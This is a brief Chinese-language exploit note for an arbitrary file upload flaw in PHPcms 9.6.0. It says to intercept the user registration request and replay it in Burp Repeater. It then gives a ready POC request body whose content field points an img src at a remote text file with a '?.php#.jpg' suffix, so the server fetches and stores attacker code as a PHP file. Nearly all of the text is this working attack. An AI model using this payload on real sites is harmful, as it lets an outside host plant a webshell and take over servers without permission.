最新PHPcms9.6.0 任意文件上传漏洞

在用户注册处抓包：

然后发送到repeater

POC:

siteid=&modelid=&username=z1aaaac121&password=aasaewee311as&email=[e-mail]&info[content]=<img src=http://www.tzjrst.com/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=